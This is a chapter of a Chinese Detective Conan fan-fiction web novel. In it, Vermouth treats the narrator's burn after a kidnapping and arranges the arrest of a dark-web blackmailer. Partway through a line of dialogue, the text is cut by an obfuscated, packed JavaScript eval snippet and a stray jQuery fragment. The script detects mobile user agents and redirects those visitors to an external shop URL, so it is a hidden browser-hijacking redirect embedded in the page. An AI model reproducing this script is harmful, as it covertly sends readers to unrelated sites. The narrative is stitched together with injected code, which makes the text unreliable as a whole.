文趣网 > 其他小说 > 在柯南世界里被迫营业 > 18. 第 18 章
    车子在夜色中穿行,窗外的街灯一盏一盏滑过去,像是某种缓慢的呼吸。我靠在副驾驶座上,Vermouth没有开音乐,车厢里只有引擎低沉的声音和偶尔从窗外灌进来的风。

    “到了。”她把车停在一栋公寓楼的地下停车场里,熄火之后,四周安静得能听见自己的心跳。

    我解开安全带,动作很慢。身体还是有点发软,但比刚才好一些了,至少能走。

    Vermouth没有等我,直接下了车,绕到我这侧拉开车门。她没说什么,只是站在那里,等我出来。我扶着车门站起来,脚落地时重心晃了一下,她的右手很自然地搭在我手臂上,力道很轻,但我能感觉到她在用那条手臂给我一个支点。

    “能走吗?”

    “嗯。”

    她松开手,走在我前面半步的位置,进了电梯。我注意到她按了顶层。

    电梯上升时,我靠在角落里,低着头看着自己的鞋尖。鞋面上还残留着一点水渍,是在那间屋子里被泼的。我忽然想起锁骨上那片被蜡烫过的皮肤,像是被火烙了一下,痛感现在才真正地回来,一阵阵地发紧。

    电梯停了。Vermouth走在前面,指纹解锁,门开了。玄关的灯是暖黄色的,和她纽约的公寓风格很像,但更小一些,也更私人——客厅里有一张浅灰色的沙发,落地窗外是东京的夜景,远得像是另一个世界。

    “浴室在走廊尽头,”她弯腰从鞋柜里拿出一双新的拖鞋,放在我脚边,“毛巾在里面,柜子里有没用过的浴袍。你先洗,我去找点东西。”

    我换上拖鞋,路过她身边时低声说了一句“谢谢”。她没有回答,只是轻轻点了一下头。

    浴室不大,但干净。水很热,蒸起来的时候整个镜子都蒙上了雾气。我站在水下,任由热水从头顶浇下来,冲走身上残留的凉意和那股说不清道不明的味道——那辆计程车里的异香,还有那个房间里带着锈味和烟尘的空气。

    身上的烫伤被水冲刷时传来一阵尖锐的刺痛。我低头看了一眼,那片皮肤泛着红,边缘有些发白,像是被火燎过的纸。

    我不敢搓它,只用手小心地拂过周围。

    洗完出来的时候,我换上了她放在柜子里的白色浴袍,质地很软,带着很淡的洗衣液味道。我擦了擦头发,走到客厅里,Vermouth已经坐在沙发上了,面前的小茶几上摆着一盏酒精灯、一小瓶药膏、几卷纱布和一把镊子。

    她看见我,拍了拍沙发的位置,“过来,坐下。”

    我走过去,在她的示意下坐在沙发边缘。她端着那盏酒精灯,用镊子夹着一根细针在上面烤了一会儿,然后放下,把药膏瓶拧开,挤了一点在手背上试温度。

    “蜡烫的地方,”她的语气很平静,像是在说一件很平常的事,“处理不好会留疤。”

    “嗯。”

    “浴袍拉下去一些,我帮你处理一下。”

    我侧了侧身,把左边的锁骨朝向她的方向。浴袍的领口本来就宽,我稍微拉了一下,那片泛红的皮肤就露了出来。

    她凑近了一些,呼吸落在我的皮肤上,很轻,像蜻蜓点水。我下意识地屏住呼吸,余光里能看见她的睫毛,很长的,垂下来的时候在眼底投下一小片影子。

    她的手凉凉的,蘸着药膏的指尖轻轻地落在烫伤边缘,沿着那片泛红的皮肤画了一个圈,力道很轻,像在试探什么。

    “疼吗?”

    “有一点。”

    她的指尖在烫伤最红的地方停下来,停顿了两秒,然后更轻地按下去。药膏被体温融化,顺着皮肤的纹理渗开,凉意慢慢地渗进去,盖住了灼烧感。

    “在那间屋子里,”她的视线没有离开那片伤口,“你明明很害怕,但我进去的时候,你只流了生理性的眼泪,没有哭出声。”

    我不知道该怎么回答。沉默了一会儿,我才开口:“……哭也没用。”

    她没说话,手上的动作却更轻了。她换了一根干净的棉签,蘸了药膏,一点一点地涂开,像是在描一幅很小的画。

    “你总是这样吗?”她问。

    “哪样?”

    “难过的时候不说话,疼的时候不喊,害怕的时候不哭。”

    我低下头,看着她的手指在我锁骨旁边移动,白纱布的边角轻轻地扫过我的皮肤。我没有正面回答,只是说:“习惯了。”

    她笑了一声,很短,像是叹气。

    “习惯不是好借口。”

    药膏涂完了,她取了一小块纱布,轻轻地覆在烫伤的位置,然后用医用胶带贴住边缘。她的动作很熟练,手指偶尔擦过我的肩膀,隔着纱布都能感觉到她指尖的温度。

    “好了,”她收回手,往后坐了一点,“明天再换一次药,应该不会留疤。”

    我抬手按了一下纱布的边缘,那片皮肤被盖住了,只留下周围的凉意。

    “……谢谢你。”这一次我说得比刚才更轻。

    她端起茶几上的一杯水喝了一口,侧头看了我一眼,嘴角带着一点很淡的弧度,“下次别在情绪不稳定的时候出门,你连手机都没带。”说罢,她将我的手机递了给我。

    电话声响突然打破了这屋子里的安宁,是一串乱码,我按了免提。

    是经过伪装的机械音,“考虑好了吗?要不要同意我的要求……你今天应该见到有趣的人了吧?如果你不答应的话,我就继续吧信息卖给别人了哦……”对方将通话时间控制在了三十秒内,简单明了地说完后便挂掉了电话,我脑瓜子嗡嗡地响,是暗网上那个人吗?

    “你认识他?”Vermouth边问边拿出笔记本电脑,打开电脑后用数据线将我的手机与电脑连在了一块。

    “不,我不知道是谁……”

    “暗网别乱碰,”Vermouth的手指在键盘上敲击着,“他的ip在东京,他应该就是近期造成少女失踪的凶手,今天绑你的那两个人,你刚才听完他的电话应该明白了吧……”

    “嗯……”下次还敢……

    “不过好在组织里开发了一种新程序,就算通话控制在三十秒以内也能追踪到对方,”Vermouth的嘴角勾起了一丝浅笑,紧接着拿出她的手机拨通了一个号码,“是我,给你一个能让你升职的情报……抓紧时间去办吧……”她挂打电话后似乎发了封邮件,随后关掉了笔记本电脑。

    虽然我很好奇为什么Vermouth要扮成gin来试探我,但直接问她并不是一个明智的决定……如果他们怀疑我和Eric之间有染,Vermouth直接以本貌来查也没什么问题啊,为什么特地易容成gin……

    ——次日——

    清晨的光线从窗帘缝隙里漏进来,薄薄的一层,落在被子上。

    我醒来的时候有一瞬间不知道自己在哪里。天花板是米白色的,床头的灯是深铜色,窗台上放着一小盆绿植——这些都不是我房间里的东西。然后昨晚的记忆慢慢浮上来,我翻了个身,锁骨上的纱布摩擦着衣料,隐隐地提醒我发生过什么。

    我坐起来,发现床边叠着一件浅灰色的长袖T恤,干净、柔软,像是她放在那里的。我换上了,袖子长出一截,刚好盖住手腕上的勒痕。走出房间时,空气里飘着咖啡的香气,还有某种淡淡的焦糖味。

    Vermouth在厨房里,背对着我,穿着一件深色宽松的衬衫,袖子挽到手肘。她的头发随意地拢在脑后,有几缕垂在颈侧。灶台上有一只小锅正在冒热气,旁边放着一盘切好的水果。

    “醒了?”她没有回头,像是听到了我的脚步声。

    “嗯。”

    “先坐,马上就好。”

    我在沙发上坐下,落地窗外的东京在晨光里显得很安静。昨晚的爆炸、枪声、那间屋子里的气味,都像隔了一层雾气,远得不太真实。但锁骨上的纱布提醒我那些事确实发生过。

    早间新闻上播报了某男子被警方抓获,证实了他就是少女失踪案的真凶,以及绑架我的那两个人的死也算在他头上了……然后他在审讯室的时候猝死了……

    看来昨晚Vermouth打电话的对象是警视厅的人啊……警视厅里果然有组织内线,也难怪当年苏格兰的卧底身份会暴露,Bourbon没暴露是因为他隶属警察厅,日本的机构还真是复杂……

    她端着一杯咖啡和一碗白粥走出来,放在我面前的茶几上。“你昨天没吃什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17822571|211185||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东西,先喝点粥。”

    我拿起勺子,小口地喝了一口,米粒熬得很烂,温度刚好。

    她坐在我对面,端着另一杯咖啡,没有喝,只是看着窗外。过了几分钟,她放下杯子站起来,“药得换了。”她从茶几下面拿出昨晚的药膏和纱布,又取了一盏小台灯放在旁边,把光调亮了一些,照向我坐着的位置。

    “过来一点。”

    我放下粥碗,往她那边挪了挪。她坐在我旁边,侧过身来对着我。光线落在她脸上,我忽然注意到她眼角有一道很细的纹路——平时被粉底和灯光遮住了,但在这样早上的光线下,会显现出来。

    她没有急着动手,先把自己的手在暖气片上捂了一下,然后才伸过来,轻轻掀开昨晚贴好的纱布边缘。

    “愈合得还可以,”她低头看了看那片皮肤,“浅的那几处已经收口了,深的地方还要多涂两天。”

    她的指尖沾着药膏,落在我的锁骨上时,温度比昨晚高一些——应该是特意捂过了。

    “凉吗?”

    “不凉。”

    她涂得很慢,比昨晚更慢。食指从烫伤边缘开始,一圈一圈地往中间画圆,力道一直很轻,轻到像是怕弄碎什么。涂到最深的那一处时,她的动作停顿了一下,抬眼看了我一眼。

    我把视线移开了。

    她没说话,继续涂。涂完后,她没有立刻收手,指尖贴在我锁骨边缘的位置,停了两三秒。

    “你在想什么?”她问。

    我低下头,看着她手指旁边的那块纱布。她的手指没有移开,只是安静地贴在那里。

    “……在想你为什么对我那么好。”我承认我沉浸在贝姐这种温柔中无法自拔了……完全忘记了她是个杀人也不会眨眼的人……

    她把药膏瓶盖上,纸巾擦了一下指尖。沉默了一小会儿,然后她把手收回去了,端起自己的咖啡喝了一口。

    “你觉得是为什么呢?”她把这个问题反抛给我。

    我抬头看她。她对上我的视线,没有移开。我摇了摇头。

    “A secret makes a woman woman.”她笑了一下,那个笑容很轻,和她平时在社交场合里的笑不一样——没有距离感,也没有表演的痕迹。

    又是那句熟悉的口头禅……

    她把咖啡杯放下,朝我这边微微倾了一下身。我们的距离又近了一点,近到能闻到她身上的气味——咖啡和昨晚残留在衣料上的淡淡烟味。

    忽然,她伸出左手,指尖轻轻拂过我锁骨上方的那块纱布边缘——不是涂药,只是顺着那片纱布的轮廓走了一遍。

    “这个位置,”她岔开话题,低声说着,“以后不会留疤的。”

    我低头看着她指尖移动的轨迹。“万一留了呢?”

    “留了也没关系,”她的指腹停在纱布的最下端,“我帮你涂到它消掉为止。”

    她的手指在那里停了一小会儿才收回去。她看了一眼墙上的挂钟,“你今天不用去学校吗?”

    “……要去的。”

    “那吃完早饭我送你过去。”

    我低头继续喝粥,粥已经不烫了,温度刚好,像是她算好了时间端出来的。

    ——————

    将林送去学校后Vermouth给gin打了个电话,“gin,在忙吗?”

    “暂时没事,你那边调查的怎么样了?”gin没想到Vermouth那么快就给自己打来了电话。

    “出了点其他小插曲,但我倒是觉得她和Eric之间没什么,”Vermouth的语气带着笑意,想起了林因为试探的那些话而有的情绪,“她和Eric之间有什么或许你亲自回来问会好一点……”

    “忙完这段时间我就回来……”gin并不知道Vermouth做了些什么,但既然Vermouth都觉得林和Eric没什么,那应该确实是没什么……不过,他还是更愿意相信自己的判断……

    Vermouth挂掉电话后看着她调查过的林最近的行程安排,她不知道她为什么把自己的行程安排的那么满,她只知道如果林遇到什么问题的话自己肯定会帮她的……